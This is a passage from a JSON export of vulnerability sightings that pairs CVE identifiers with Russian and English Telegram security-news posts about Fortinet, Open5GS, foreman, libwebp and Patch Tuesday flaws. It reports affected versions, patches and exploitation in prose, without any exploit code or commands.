\u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442\u0441\u044f \u043c\u043d\u043e\u0433\u0438\u043c\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c\u0438 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Amazon, Spotify, LinkedIn, Instacart, Netflix, Uber \u0438 OpenAI, \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f ShadowRay \u0432 \u043f\u0435\u0440\u0441\u043f\u0435\u043a\u0442\u0438\u0432\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0447\u0435\u043d\u044c \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u044b\u043c\u0438.\n\n\u0411\u0443\u0434\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2024-03-27T17:30:05.000000Z"}, {"uuid": "9e2fea70-daf3-46ca-9a2c-a4526c0ebeb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/true_secator/5557", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Horizon3 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438 PoC \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2023-48788 \u0432 FortiClient Enterprise Management Server (EMS) Fortinet.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0434\u0435\u043d\u044c \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u043f\u0443\u0441\u043a\u0430 PoC Fortinet \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 CVE-2023-48788 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445.\n\nCVE-2023-48788 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f DB2 (DAS), \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0443\u044e \u0431\u0440\u0438\u0442\u0430\u043d\u0441\u043a\u0438\u043c NCSC \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 FortiClient EMS 7.0 (\u0441 7.0.1 \u043f\u043e 7.0.10) \u0438 7.2 (\u0441 7.2.0 \u043f\u043e 7.2.2) \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c RCE \u0441 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u0445 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 Horizon3 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043d\u043e \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430.\n\n\u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0435\u0433\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c Microsoft SQL Server xp_cmdshell \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 Windows \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u041d\u043e \u0441\u0443\u0434\u044f \u043f\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c \u043e \u043d\u0430\u0447\u0430\u0432\u0448\u0435\u0439\u0441\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\u0441\u044c \u0432 \u044d\u0442\u043e\u043c \u0432\u043e\u043f\u0440\u043e\u0441\u0435 \u0438 \u0431\u0443\u0434\u0443\u0442 \u043f\u044b\u043b\u0435\u0441\u043e\u0441\u0438\u0442\u044c FortiClient Enterprise Management Server (EMS), \u043a\u043e\u0442\u043e\u0440\u044b\u0445, \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0431\u043e\u043b\u0435\u0435 440 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432.", "creation_timestamp": "2024-03-22T15:30:05.000000Z"}, {"uuid": "a6a962b4-e037-4c47-b1d9-eb1e14712607", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/true_secator/5516", "content": "Fortinet \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043f\u0430\u0442\u0447\u0438 \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 FortiOS, FortiProxy \u0438 FortiClientEMS.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445 CVE-2023-42789, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u0432\u043d\u0435 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 FortiOS \u0438 FortiProxy, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Fortinet \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0440\u0435\u0448\u0435\u043d\u0430 \u0432 \u0441\u043e\u0432\u043e\u043a\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 CVE-2023-42790, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0441\u0442\u0435\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a RCE.\n\n\u041e\u0431\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0441 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c FortiOS 7.4.2, 7.2.6, 7.0.13, 6.4.15 \u0438 6.2.16, \u0430 \u0442\u0430\u043a\u0436\u0435 FortiProxy 7.4.1, 7.2.7, 7.0.13 \u0438 2.0.14.\n\n\u0412\u0442\u043e\u0440\u043e\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0442\u044f\u0436\u0435\u0441\u0442\u0438 - CVE-2023-48788, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432 FortiClientEMS, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0447\u0435\u0440\u0435\u0437 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0440\u0435\u0448\u0435\u043d\u0430 \u0441 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c FortiClientEMS 7.2.3 \u0438 7.0.11.\n\n\u0421\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e Fortinet \u043e\u0446\u0435\u043d\u0438\u043b \u043a\u0430\u043a CVE-2023-42789, \u0442\u0430\u043a \u0438 CVE-2023-48788 \u043d\u0430 9,3 \u043f\u043e CVSS, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a NIST NVD \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u0431\u0430 \u0441 CVSS 9,8.\n\nFortinet \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u0445 \u0440\u044f\u0434\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0432 FortiOS \u0438 FortiProxy (\u0432\u0435\u0434\u0443\u0449\u0443\u044e \u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438), FortiClientEMS (\u0432\u0435\u0434\u0443\u0449\u0443\u044e \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u043c\u0430\u043d\u0434) \u0438 \u0432 FortiWLM MEA \u0434\u043b\u044f FortiManager (\u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0443\u044e \u043a RCE).\n\n\u0425\u043e\u0442\u044f Fortinet \u0438 \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435, \u043d\u043e \u043c\u044b \u0442\u043e \u0437\u043d\u0430\u0435\u043c, \u0447\u0442\u043e \u044d\u0442\u043e \u043d\u0435\u0438\u0437\u0431\u0435\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0434\u0435\u0442 \u0432 \u043f\u0435\u0440\u0441\u043f\u0435\u043a\u0442\u0438\u0432\u0435, \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0445\u0430\u043a\u0435\u0440\u043e\u0432 \u043d\u0430 \u0442\u0430\u043a\u0438\u0435 \u0430\u043a\u0442\u0438\u0432\u044b, \u0432\u0435\u0434\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0435 \u043f\u0440\u0435\u043f\u0430\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.", "creation_timestamp": "2024-03-13T15:30:05.000000Z"}, {"uuid": "7edb3d68-339f-41a8-8491-1853bec8e6e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4882", "type": "seen", "source": "https://t.me/cibsecurity/71518", "content": "\u203c CVE-2023-4882 \u203c\n\nDOS vulnerability that could allow an attacker to register a new VNF (Virtual Network Function) value. This action could trigger the args_assets() function defined in the arg-log.php file, which would then execute the args-abort.c file, causing the service to crash.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-03T18:46:28.000000Z"}, {"uuid": "ea909539-6779-4849-b1d4-f78d397ff0fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4885", "type": "seen", "source": "https://t.me/cibsecurity/71514", "content": "\u203c CVE-2023-4885 \u203c\n\nMan in the Middle vulnerability, which could allow an attacker to intercept VNF (Virtual Network Function) communications resulting in the exposure of sensitive information.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-03T18:46:24.000000Z"}, {"uuid": "e0c86f31-2dfc-449b-9a97-329d16fd3436", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4883", "type": "seen", "source": "https://t.me/cibsecurity/71513", "content": "\u203c CVE-2023-4883 \u203c\n\nInvalid pointer release vulnerability. Exploitation of this vulnerability could allow an attacker to interrupt the correct operation of the service by sending a specially crafted json string to the VNF (Virtual Network Function), and triggering the ogs_sbi_message_free function, which could cause a service outage.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-03T18:46:23.000000Z"}, {"uuid": "e90687a6-034e-47e9-a541-ff7c6f019bf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4884", "type": "seen", "source": "https://t.me/cibsecurity/71509", "content": "\u203c CVE-2023-4884 \u203c\n\nAn attacker could send an HTTP request to an Open5GS endpoint and retrieve the information stored on the device due to the lack of Authentication.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-03T18:46:18.000000Z"}, {"uuid": "a569b56b-a627-4e92-aba7-1637a4c67d27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4886", "type": "seen", "source": "https://t.me/cibsecurity/71505", "content": "\u203c CVE-2023-4886 \u203c\n\nA sensitive information exposure vulnerability was found in foreman. Contents of tomcat's server.xml file, which contain passwords to candlepin's keystore and truststore, were found to be world readable.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-03T18:46:14.000000Z"}, {"uuid": "8999929f-8abc-4c50-a079-5bf7d809e77c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/true_secator/4841", "content": "\u041f\u043e\u0434\u043a\u0430\u0442\u0438\u043b\u0438 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c\u0441\u043a\u0438\u0435 PatchTuesday, \u0430 \u0432\u0441\u0435 \u0441 \u043d\u0438\u043c\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f 0-day \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u041f\u041e \u043e\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432.\n\nMicrosoft \u043f\u043e\u0444\u0438\u043a\u0441\u0438\u043b\u0430 2 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0435 0-day \u0432 \u0441\u043e\u0441\u0442\u0430\u0432\u0435 59 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445: 3 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 - \u043e\u0431\u0445\u043e\u0434\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, 24 - RCE (5 \u0438\u0437 \u043d\u0438\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435), 9 - \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, 3 - DoS, 5 - \u0441\u043f\u0443\u0444\u0438\u043d\u0433\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 Edge - 5 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Chromium.\n\n\u0418\u0437 \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e  \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u043b\u0438\u0448\u044c \u043e\u0434\u043d\u0430.\n\n\u041f\u0435\u0440\u0432\u0430\u044f CVE-2023-36802 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0441\u043b\u0443\u0436\u0431\u044b \u043f\u043e\u0442\u043e\u043a\u043e\u0432\u043e\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 Microsoft, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u0415\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 DBAPPSecurity WeBin Lab, IBM X-Force, Microsoft Threat Intelligence \u0438 Microsoft Security Response Center.\n\n\u0414\u0440\u0443\u0433\u0430\u044f CVE-2023-36761 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Microsoft Word \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.\n\n\u0421 \u0435\u0435 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043c\u043e\u0436\u043d\u043e \u043a\u0440\u0430\u0441\u0442\u044c NTLM-\u0445\u0435\u0448\u0438 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430. \u0417\u0430\u0442\u0435\u043c \u0445\u044d\u0448\u0438 NTLM \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 NTLM Relay \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438. \u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043d\u0430\u0448\u0438 \u0432 Microsoft Threat Intelligence.\n\n\u041f\u043e\u043b\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u043d\u0430 \u0432\u043b\u0438\u044f\u0435\u0442, \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0437\u0434\u0435\u0441\u044c.\n\n\u0412\u0441\u043b\u0435\u0434 \u0437\u0430 Google \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 Mozilla, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e 0-day \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 Firefox \u0438 \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0435 Thunderbird.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u00a0CVE-2023-4863 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 \u043a\u043e\u0434\u0430 WebP (libwebp) \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u044c \u043a \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c \u043d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\u043c, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 RCE.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 WebP \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043f\u043e\u043a\u0430 \u043d\u0435 \u0434\u043e\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u0434\u043e \u0448\u0438\u0440\u043e\u043a\u043e\u0439 \u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438, \u043d\u043e \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441\u043e spyware.\n\n\u0422\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e 